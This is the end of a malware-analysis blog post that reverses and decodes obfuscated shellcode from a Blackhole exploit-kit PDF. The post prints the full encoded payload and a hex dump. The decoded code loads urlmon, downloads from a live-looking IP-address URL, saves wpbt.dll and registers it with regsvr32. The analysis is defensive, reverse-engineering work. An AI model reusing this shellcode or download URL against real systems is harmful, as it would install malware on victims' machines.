>>> hexstr = "4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141" + "00005636d697d3f646366226c6873626d34746761767e6629613d396f6573762f613a31333a36723a3e613a3e613a3e613a33333a32333a3e613a37613d35607f656175766d662a613a30333a39613a3b613a38613d3073766f3078607e217f23693034393533326469313533323931683267393465303361623162316167323f23693034393533326469313533323931683267393465303361623162316167323f24353e25363e2132313e2932313f2f2a30747478607f2a16397646cb1b5a8ac33db10f698e0a8ef89cee0e4e8ffffefc98e8065ffefa600a64c5700f30874af5700f3087431be20bec03c384065ff35c0be3800a64065ff3500a661570c584165ff00a6753500a600a6151440d1448803401ca8950090d1446cc6c646e250d1447c4726077700d1447c159c338eb8c065ff0000008f86350237d2028042447c233327674042447c3776562742407cc042c5d800001040ce1827be20beffffff168e8eb8804c3861ff45d6c62757860000e6f6863eff503c3801e5b8ceb85505910c3805000000ff8604a60585000000008e9f2effffff898e9550a67fb88086b83fbe69304733c0d7080286b8da35be3c95e5ba5c30b840b8dd308db8c04245ffce64d8b4c0b866dd3042e5b8e56e57f1b31fbe04ad30d0bc1c80472f8301ebf0bd335c30dacf14949c335f300267b8655f30875347b8c357b86515c4be9e15574e58424378bf576093643c0304b88bffff0151ee18c2334730c3e5b866bd338067b865c107b8c004b80304b8460c33f59e43574e58cfcf4e3866"[::-1]
>>> hexbytes = "".join(chr(int(hexstr[i:i+2],16)) for i in xrange(0,len(hexstr),2))
>>> hexbytes
'L `\x0f\x05\x17\x80J< `\x0f\x0fc\x80J\xa3\xeb\x80J0 \x82Jn/\x80JAAAA&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x129\x80Jd `\x0f\x00\x04\x00\x00AAAAAAAAf\x83\xe4\xfc\xfc\x85\xe4u4\xe9_3\xc0d\x8b@0\x8b@\x0c\x8bp\x1cV\x8bv\x083\xdbf\x8b^<\x03t3,\x81\xee\x15\x10\xff\xff\xb8\x8b@0\xc3F9\x06u\xfb\x874$\x85\xe4uQ\xe9\xebLQV\x8bu<\x8bt5x\x03\xf5V\x8bv \x03\xf53\xc9IA\xfc\xad\x03\xc53\xdb\x0f\xbe\x108\xf2t\x08\xc1\xcb\r\x03\xda@\xeb\xf1;\x1fu\xe6^\x8b^$\x03\xddf\x8b\x0cK\x8dF\xec\xffT$\x0c\x8b\xd8\x03\xdd\x8b\x04\x8b\x03\xc5\xab^Y\xc3\xebS\xad\x8bh \x80}\x0c3t\x03\x96\xeb\xf3\x8bh\x08\x8b\xf7j\x05Y\xe8\x98\xff\xff\xff\xe2\xf9\xe8\x00\x00\x00\x00XPj@h\xff\x00\x00\x00P\x83\xc0\x19PU\x8b\xec\x8b^\x10\x83\xc3\x05\xff\xe3hon\x00\x00hurlmT\xff\x16\x83\xc4\x08\x8b\xe8\xe8a\xff\xff\xff\xeb\x02\xebr\x81\xec\x04\x01\x00\x00\x8d\\$\x0c\xc7\x04$regs\xc7D$\x04vr32\xc7D$\x08 -s Sh\xf8\x00\x00\x00\xffV\x0c\x8b\xe83\xc9Q\xc7D\x1d\x00wpbt\xc7D\x1d\x05.dll\xc6D\x1d\t\x00Y\x8a\xc1\x040\x88D\x1d\x04AQj\x00j\x00SWj\x00\xffV\x14\x85\xc0u\x16j\x00S\xffV\x04j\x00\x83\xeb\x0cS\xffV\x04\x83\xc3\x0c\xeb\x02\xeb\x13G\x80?\x00u\xfaG\x80?\x00u\xc4j\x00j\xfe\xffV\x08\xe8\x9c\xfe\xff\xff\x8eN\x0e\xec\x98\xfe\x8a\x0e\x89o\x01\xbd3\xca\x8a[\x1b\xc6Fy6\x1a/phttp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/27aa2a2ac05d97b8a923519db359409c/q.php?fsp=1h:1k:1i:30:1j&mfuqeope=1g:1n:32:33:1n:1n:1n:2v:31:1o&suoi=1i&nvqgdt=bcxlb&cdo=ymce\x00\x00'



Looks like we got some nice bin code out, and we even got straight to The Holy Grai.. - eehhm payload URL.

4. Payload URL


lets look at the code in hex - ascii format


0000000: 4c20 600f 0517 c280 4a3c 2060 0f0f 63c2  L `.....J< `..c.
0000010: 804a c2a3 c3ab c280 4a30 20c2 824a 6e2f  .J......J0 ..Jn/
0000020: c280 4a41 4141 4126 0000 0000 0000 0000  ..JAAAA&........
0000030: 0000 0000 0000 0012 39c2 804a 6420 600f  ........9..Jd `.
0000040: 0004 0000 4141 4141 4141 4141 66c2 83c3  ....AAAAAAAAf...
0000050: a4c3 bcc3 bcc2 85c3 a475 34c3 a95f 33c3  .........u4.._3.
0000060: 8064 c28b 4030 c28b 400c c28b 701c 56c2  .d..@0..@...p.V.
0000070: 8b76 0833 c39b 66c2 8b5e 3c03 7433 2cc2  .v.3..f..^<.t3,.
0000080: 81c3 ae15 10c3 bfc3 bfc2 b8c2 8b40 30c3  .............@0.
0000090: 8346 3906 75c3 bbc2 8734 24c2 85c3 a475  .F9.u....4$....u
00000a0: 51c3 a9c3 ab4c 5156 c28b 753c c28b 7435  Q....LQV..u<..t5
00000b0: 7803 c3b5 56c2 8b76 2003 c3b5 33c3 8949  x...V..v ...3..I
:
0000130: 6a05 59c3 a8c2 98c3 bfc3 bfc3 bfc3 a2c3  j.Y.............
0000140: b9c3 a800 0000 0058 506a 4068 c3bf 0000  .......XPj@h....
0000150: 0050 c283 c380 1950 55c2 8bc3 acc2 8b5e  .P.....PU......^
0000160: 10c2 83c3 8305 c3bf c3a3 686f 6e00 0068  ..........hon..h
0000170: 7572 6c6d 54c3 bf16 c283 c384 08c2 8bc3  urlmT...........
0000180: a8c3 a861 c3bf c3bf c3bf c3ab 02c3 ab72  ...a...........r
0000190: c281 c3ac 0401 0000 c28d 5c24 0cc3 8704  ..........\$....
00001a0: 2472 6567 73c3 8744 2404 7672 3332 c387  $regs..D$.vr32..
00001b0: 4424 0820 2d73 2053 68c3 b800 0000 c3bf  D$. -s Sh.......
00001c0: 560c c28b c3a8 33c3 8951 c387 441d 0077  V.....3..Q..D..w
00001d0: 7062 74c3 8744 1d05 2e64 6c6c c386 441d  pbt..D...dll..D.
00001e0: 0900 59c2 8ac3 8104 30c2 8844 1d04 4151  ..Y.....0..D..AQ
00001f0: 6a00 6a00 5357 6a00 c3bf 5614 c285 c380  j.j.SWj...V.....
0000200: 7516 6a00 53c3 bf56 046a 00c2 83c3 ab0c  u.j.S..V.j......
0000210: 53c3 bf56 04c2 83c3 830c c3ab 02c3 ab13  S..V............
0000220: 47c2 803f 0075 c3ba 47c2 803f 0075 c384  G..?.u..G..?.u..
0000230: 6a00 6ac3 bec3 bf56 08c3 a8c2 9cc3 bec3  j.j....V........
0000240: bfc3 bfc2 8e4e 0ec3 acc2 98c3 bec2 8a0e  .....N..........
0000250: c289 6f01 c2bd 33c3 8ac2 8a5b 1bc3 8646  ..o...3....[...F
0000260: 7936 1a2f 7068 7474 703a 2f2f 3132 392e  y6./phttp://129.
0000270: 3132 312e 3635 2e35 342f 3237 6161 3261  121.65.54/27aa2a
0000280: 3261 6330 3564 3937 6238 6139 3233 3531  2ac05d97b8a92351
0000290: 3964 6233 3539 3430 3963 2f32 3761 6132  9db359409c/27aa2
00002a0: 6132 6163 3035 6439 3762 3861 3932 3335  a2ac05d97b8a9235
00002b0: 3139 6462 3335 3934 3039 632f 712e 7068  19db359409c/q.ph
00002c0: 703f 6673 703d 3168 3a31 6b3a 3169 3a33  p?fsp=1h:1k:1i:3
00002d0: 303a 316a 266d 6675 7165 6f70 653d 3167  0:1j&mfuqeope=1g
00002e0: 3a31 6e3a 3332 3a33 333a 316e 3a31 6e3a  :1n:32:33:1n:1n:
00002f0: 316e 3a32 763a 3331 3a31 6f26 7375 6f69  1n:2v:31:1o&suoi
0000300: 3d31 6926 6e76 7167 6474 3d62 6378 6c62  =1i&nvqgdt=bcxlb
0000310: 2663 646f 3d79 6d63 6500 000a            &cdo=ymce...




Yes we got the url rgiht. So if we where after that we could now just fetch it...

5. Epilogue


Feels good to be on the same side as King Arthur and to be able to reverse and deobfuscate the Black(hole) Knights evi(a)l doings. And get our hands on The Holy Grail.

PS: running the shellcode with sctest and rasm failed with errors due to buffer overflow - any tip on how to get around that very much appreciated



Happy Blackhole PDF deobfuscation :)